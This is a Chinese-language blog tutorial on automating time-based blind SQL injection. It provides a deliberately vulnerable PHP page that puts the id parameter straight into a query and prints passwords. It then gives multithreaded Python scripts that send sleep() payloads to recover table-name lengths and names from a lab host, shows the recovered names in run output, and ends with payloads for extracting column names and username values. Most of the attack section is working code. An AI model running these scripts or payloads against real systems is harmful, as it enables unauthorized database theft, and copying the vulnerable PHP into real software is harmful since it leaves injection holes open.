PS:歡迎訪問我的個人博客 http://luckyzmj.cn
0x001 時間盲注簡介
時間盲注就是在頁面進行SQL注入並執行後,前端頁面無法回顯注入的信息。此時,我們可以利用sleep()函數來控制延遲頁面返回結果的時間,進而判斷注入的SQL語句是否正確,這個過程稱之爲時間盲注。但如果手工進行注入的話,過程是非常頻繁且耗時的,爲了提高效率,我們需要編寫自動化腳本替我們去完成這些注入工作。
0x002 漏洞測試代碼
以下爲本次實驗測試的基於時間的數字型盲注漏洞代碼,可以部署到本地進行配合腳本測試驗證。
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db('sqltest');
?>
<html>
<head>
<meta charset="utf-8" />
<title>sql注入測試</title>
<style>
body{text-align:center}
</style>
</head>
<body>
<br />
<?php
$id=@$_GET['id'];
if($id==null){
$id="1";
}
mysql_query('set names utf8');
$sql = "SELECT * FROM users WHERE id=$id";
$result = mysql_query($sql,$conn);
if(!$result)
{
die('<p>error:'.mysql_error().'</p>');
}
$row = mysql_fetch_array($result);
if (!$row){
echo "該記錄不存在";
echo $sql;
exit;
}
?>
<font size="10" face="Times">sql注入測試</font>
<table border='2' align="center">
<tr>
<td>id:<?php echo $id;?></td>
</tr>
<tr>
<td>賬號:<?php echo $row['username'];?></td>
</tr>
<tr>
<td>密碼:<?php echo $row['password'];?></td>
</tr>
<tr>
<td>sql內容: <?php echo $sql;?></td>
</tr>
</table>
</body>
</html>
0x003 時間盲注之獲取表名長度
1. 獲取表名長度盲註腳本編寫
導入所需的模塊
# coding:utf-8
import requests
import datetime
import time
import threading
定義測試數據的長度範圍
例:定義測試表名數據的長度總範圍爲1到15
list=[] # 測試表名數據長度的列表
for i in range(1,16): # range(1,16)實際數字範圍是1到15
list.append(i)
測試結果
print(list)
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
定義單個線程工作量
例:定義單個線程的工作量爲3
t_num = 3
分配每個線程的測試範圍
例:由於測試表名數據長度爲1到15,一共15個數據,而單個線程數爲3,所以一共會產生5個線程數;如果不能剛好分配完,則多餘的部分會新生成一個單獨的線程
t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)] # 每個線程的測試範圍列表
測試結果
print(t_list)
[[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12], [13, 14, 15]]
構造payload
通用:如果判斷表名長度正確,頁面立即返回結果;如果錯誤,頁面會延遲1秒返回結果
?id=1 and sleep(if((select length(table_name)=要猜表名的長度 from information_schema.tables where table_schema=database() limit 要猜第幾個表名0表示第一個,1),0,1))
例子:猜當前數據庫下的第1個表名長度是否爲5。
?id=1 and sleep(if((select length(table_name)=5 from information_schema.tables where table_schema=database() limit 0,1),0,1))
定義要獲取表名的數量
例:指定獲取當前數據庫下的前5個表名的長度
table_num=[0,1,2,3,4] # 0表示第一個表,1表示第二個表...
編輯功能函數
例:該函數會判斷並返回當前數據庫下的前5個表名長度
def table_len(j_list,table_num):
for j in table_num:
now_table = "第%d個表" % (j + 1) # 當前的表名序號
for i in j_list:
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:',sec)
if sec <= 1:
print('[+] %s長度爲:' % now_table, i)
res_table_lens[now_table]=i
print(res_table_lens)
else:
# print(i)
pass
定義接收返回表名長度結果的字典
res_table_lens = {}
定義線程工作列表
theads_list=[]
添加線程到線程工作列表
for j in t_list:
theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))
執行線程列表中的線程
for k in theads_list:
k.start()
2. 獲取表名長度腳本代碼總結
# coding:utf-8
import requests
import datetime
import time
import threading
# 定義測試的長度範圍
list=[] # 測試數據長度的列表
for i in range(1,16):
list.append(i)
# 定義單個線程的工作量爲3
t_num=3
# 每個線程的測試範圍列表
t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)]
# 定義接收的表名長度字典
res_table_lens = {}
# 添加線程工作列表
theads_list=[]
#定義要獲取表名的數量
table_num=[0,1,2,3,4]
# 功能函數
def table_len(j_list,table_num):
for j in table_num:
now_table = "第%d個表" % (j + 1) # 當前的表名序號
for i in j_list:
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:',sec)
if sec <= 1:
print('%s長度爲:' % now_table, i)
res_table_lens[now_table]=i
print(res_table_lens)
else:
# print(i)
pass
# 添加線程到線程列表
for j in t_list:
theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))
# 執行線程列表中的線程
for k in theads_list:
k.start()
運行結果
[+] 第1個表長度爲: 4
{'第1個表': 4}
[+] 第2個表長度爲: 4
{'第1個表': 4, '第2個表': 4}
[+] 第3個表長度爲: 5
{'第1個表': 4, '第2個表': 4, '第3個表': 5}
[+] 第4個表長度爲: 5
{'第1個表': 4, '第2個表': 4, '第3個表': 5, '第4個表': 5}
[+] 第5個表長度爲: 5
{'第1個表': 4, '第2個表': 4, '第3個表': 5, '第4個表': 5, '第5個表': 5}
0x004 時間盲注之獲取表名
1. 獲取表名腳本編寫
導入所需的模塊
# coding:utf-8
import requests
import datetime
import time
import threading
定義表名的長度列表
在上一個獲取表名長度步驟中,已經得到了前5個表名長度分別爲:
第1個表長度爲4
第2個表長度爲4
第3個表長度爲5
第4個表長度爲5
第5個表長度爲5
將這5個表按先後順序定義成一個列表
res_table_lens=[4,4,5,5,5]
定義線程的數量
例:定義線程的數量爲5個,每一個線程對應獲取一個表名
這樣就可以在統一時間內同時獲取5個表名,如果沒有多線程的話,就得一個完接一個的獲取表名。
theads_table_num=[0,1,2,3,4]
構造payload
通用:如果判斷表名長度正確,頁面立即返回結果;如果錯誤,頁面會延遲1秒返回結果
?id=1 and sleep(if((select mid(table_name,要猜的表名的第幾位,1)='要猜的字符' from information_schema.tables where table_schema=database() limit 要猜第幾個表名0表示第一個,1),0,1))
例子:猜當前數據庫下的第1個表名的第1個字符是否爲u。
?id=1 and sleep(if((select mid(table_name,1,1)='u' from information_schema.tables where table_schema=database() limit 0,1),0,1))
編輯功能函數
例:該函數會判斷並返回當前數據庫下的前5個表名
def table_name(len,k):
name = ''
now_thead = "第%d個線程" % (k + 1) # 當前的線程序號
now_table = "第%d個表" % (k + 1) # 當前的表名序號
for j in range(1, len[k]+1):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
j, i, k)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:', sec)
if sec <= 1:
name += i
print('[+] %s--->%s: ' % (now_thead,now_table),name)
break
res_table_name[now_table]=name
print(res_table_name)
定義接收返回表名結果字典
res_table_name= {}
定義線程工作列表
theads_list=[]
添加線程到線程工作列表
for k in theads_table_num:
theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))
執行線程列表中的線程
for k in theads_list:
k.start()
2. 獲取表名腳本代碼總結
# coding:utf-8
# coding:utf-8
import requests
import datetime
import time
import threading
# 添加線程工作列表
theads_list=[]
# 定義每一個表名對應的長度列表
res_table_lens=[4,4,5,5,5]
# 定義要獲取表名的數量
theads_table_num=[0,1,2,3,4]
# 定義接收的表名字典
res_table_name= {}
def table_name(len,k):
name = ''
now_thead = "第%d個線程" % (k + 1) # 當前的線程序號
now_table = "第%d個表" % (k + 1) # 當前的表名序號
for j in range(1, len[k]+1):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = '''http://192.168.1.2/labs/num_sql.php'''
payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
j, i, k)
# print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
#print('timeout:', sec)
if sec <= 1:
name += i
print('[+] %s--->%s: ' % (now_thead,now_table),name)
break
res_table_name[now_table]=name
print(res_table_name)
# 添加線程到線程列表
for k in theads_table_num:
theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))
# 執行線程列表中的線程
for k in theads_list:
k.start()
運行結果
[+] 第1個線程--->第1個表: n
[+] 第2個線程--->第2個表: p
[+] 第3個線程--->第3個表: t
[+] 第4個線程--->第4個表: t
[+] 第5個線程--->第5個表: u
[+] 第1個線程--->第1個表: ne
[+] 第4個線程--->第4個表: te
[+] 第3個線程--->第3個表: te
[+] 第2個線程--->第2個表: po
[+] 第5個線程--->第5個表: us
[+] 第1個線程--->第1個表: new
[+] 第4個線程--->第4個表: tes
[+] 第3個線程--->第3個表: tes
[+] 第5個線程--->第5個表: use
[+] 第2個線程--->第2個表: pos
[+] 第1個線程--->第1個表: news
{'第1個表': 'news'}
[+] 第5個線程--->第5個表: user
[+] 第4個線程--->第4個表: test
[+] 第3個線程--->第3個表: test
[+] 第3個線程--->第3個表: test1
{'第1個表': 'news', '第3個表': 'test1'}
[+] 第4個線程--->第4個表: test2
{'第1個表': 'news', '第3個表': 'test1', '第4個表': 'test2'}
[+] 第2個線程--->第2個表: post
{'第1個表': 'news', '第3個表': 'test1', '第4個表': 'test2', '第2個表': 'post'}
[+] 第5個線程--->第5個表: users
{'第1個表': 'news', '第3個表': 'test1', '第4個表': 'test2', '第2個表': 'post', '第5個表': 'users'}
0x005 文章總結
綜上,本文總結了如何編寫自動化腳本獲取表名長度,進而獲取表名。接下來就是要獲取表名下的字段長度,然後獲取字段名,最後獲取字段值長度和字段值數據。這些步驟基本上與獲取表名長度和表名一致,只是構造的payload不同,然後再根據payload稍稍改動小部分代碼即可獲取到想要的內容,這裏就不一一編寫了。
最後提供下測試代碼剩餘完整的payload,有興趣的可以自行編寫對應的自動化python腳本。
判斷字段名長度payload
# 判斷users表的第一個字段名長度是否爲5
?id=1 and sleep(if((select length(column_name)=5 from information_schema.columns where table_name='users' limit 0,1),0,3))
判斷字段名payload
# 判斷users表的第一個字段名的第一位是否爲u
?id=1 and sleep(if((select mid(column_name,1,1)='u' from information_schema.columns where table_name='users' limit 0,1),0,3))
判斷字段值長度payload
# 判斷users表的username字段的第一個字段值是否爲5
?id=1 and sleep(if((select length(username)=5 from users limit 0,1),0,3))
判斷字段值數據payload
# 判斷users表的username字段的第一個字段值的第一位是否爲u
?id=1 and sleep(if((select mid(username,1,1)='u' from users limit 0,1),0,3))
參考文章
- https://www.bugbank.cn/q/article/5983ea82cbb936102d3977bb.html
- https://www.cnblogs.com/jielun/p/10941501.html